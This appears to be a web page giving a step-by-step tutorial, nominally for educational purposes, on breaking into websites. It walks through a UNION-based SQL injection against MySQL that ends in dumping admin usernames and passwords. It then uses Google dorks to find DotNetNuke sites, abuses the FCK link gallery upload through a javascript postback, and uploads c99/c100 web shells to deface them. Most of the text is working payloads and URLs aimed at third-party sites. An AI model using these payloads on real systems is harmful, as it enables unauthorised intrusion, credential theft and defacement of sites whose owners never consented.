hack website using various method

Learn How To Hack Websites With Different Techniques..(EDUCATIONAL PURPOSE ONLY)SQL Injection in MySQL Databases:-SQL Injection attacks are code injections that exploit the database layer of the application. This is most commonly the MySQL database, but there are techniques to carry out this attack in other databases such as Oracle. In this tutorial i will be showing you the steps to carry out the attack on a MySQL Database.Step 1:When testing a website for SQL Injection vulnerabilities, you need to find a page that looks like this:www.site.com/page=1orwww.site.com/id=5Basically the site needs to have an= then a number or a string, but most commonly a number. Once you have found a page like this, we test for vulnerability by simply entering a ' after the number in theurl. For example:www.site.com/page=1'If the database is vulnerable, the page will spit out a MySQL error such as;Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/wwwprof/public_html/readnews.php on line 29If the page loads as normal then the database is not vulnerable, and the website is not vulnerable to SQL Injection.Step 2Now we need to find the number of union columns in the database. We do this using the "order by" command. We do this by entering"order by 1--", "order by 2--" and soon until we receive a page error. For example:www.site.com/page=1 order by 1--http://www.site.com/page=1 order by 2--http://www.site.com/page=1 order by 3--http://www.site.com/page=1 order by 4--http://www.site.com/page=1 order by 5--If we receive another MySQL error here, then that means we have 4 columns. If the site errored on"order by 9" then we would have 8 columns. If this does not work, instead of -- after the number, change it with /*, as they are two difference prefixes and if one works the other tends not too. It just depends on the way the database is configured as to which prefix is used.Step 3We now are going to use the"union" command to find the vulnerable columns. So we enter after the url, union all select (number of columns)--,for example:www.site.com/page=1 union all select 1,2,3,4--This is what we would enter if we have 4 columns. If you have 7 columns you would put,union all select 1,2,3,4,5,6,7-- If this is done successfully the page should show acouple of numbers somewhere on the page. For example, 2 and 3. This means columns 2 and 3 are vulnerable.Step 4We now need to find the database version, name and user. We do thisby replacing the vulnerable columnnumbers with the following commands:user()database()version()or if these dont work try...@@user@@version@@databaseFor example the url would look like:www.site.com/page=1 union all select 1,user(),version(),4--The resulting page would then showthe database user and then the MySQL version. For example admin@localhost and MySQL 5.0.83.IMPORTANT: If the version is 5 and above read on to carry out the attack, if it is 4 and below, you haveto brute force or guess the table and column names, programs can be used to do this.Step 5In this step our aim is to list all the table names in the database. To do this we enter the following command after the url.UNION SELECT 1,table_name,3,4 FROM information_schema.tables--So the url would look like:www.site.com/page=1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables--Remember the "table_name" goes in the vulnerable column number you found earlier. If this command is entered correctly, the page should show all the tables in the database, so look for tables that may contain useful information such as passwords, so look for admin tables or member or user tables.Step 6In this Step we want to list all the column names in the database, to do this we use the following command:union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()--So the url would look like this:www.site.com/page=1 union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()--This command makes the page spit out ALL the column names in the database. So again, look for interesting names such as user,email and password.Step 7Finally we need to dump the data, so say we want to get the"username" and "password" fields, from table "admin" we would use the following command,union all select 1,2,group_concat(username,0x3a,password),4 from admin--So the url would look like this:www.site.com/page=1 union all select 1,2,group_concat(username,0x3a,password),4 from admin--Here the "concat" command matches up the username with the password so you dont have to guess, if this command is successfulthen you should be presented with a page full of usernames and passwords from the websitePortal Hacking (DNN) Technique:-One more hacking method called "Portal Hacking (DNN)". This methodalso uses in google search engine tofind hackable sites.. Here U can useonly Google Dorks forhacking a websites..Here U can use dez two Google Dorks1- inurl:"/portals/0"2- inurl:/tabid/36/language/en-US/Default.aspxYou can also modify this google dork according to your need & requirementHere is the exploitProviders/HtmlEditorProviders/Fck/fcklinkgallery.aspxStep 1 :http://www.google.comStep 2:Now enter this dork:inurl:/tabid/36/language/en-US/Default.aspxthis is a dork to find the Portal Vulnerable sites, use it wisely.Step 3:you will find many sites, Select the site which you are comfortable with.Step 4:For example take this site.http://www.abc.com/Home/tabid/36/Lan...S/Default.aspxStep 5:Now replace/Home/tabid/36/Language/en-US/Default.aspxwith this/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspxStep 6:You will get a Link Gallary page.So far so good!Step 7:Dont do anything for now,wait for the next step...Step 8:Now replace the URL in the address bar with a Simple Scriptjavascript:__doPostBack('ctlURL$cmdUpload','')Step 9:You will Find the Upload OptionStep 10:Select RootStep 11:Upload your package Your Shell c99,c100 , Images, etcAfter running this JAVA script, you will see the option forUpload Selected FileNow select you page file which you have & upload here.Now Go to main page and refresh.you have seen hacked the website.Done..!!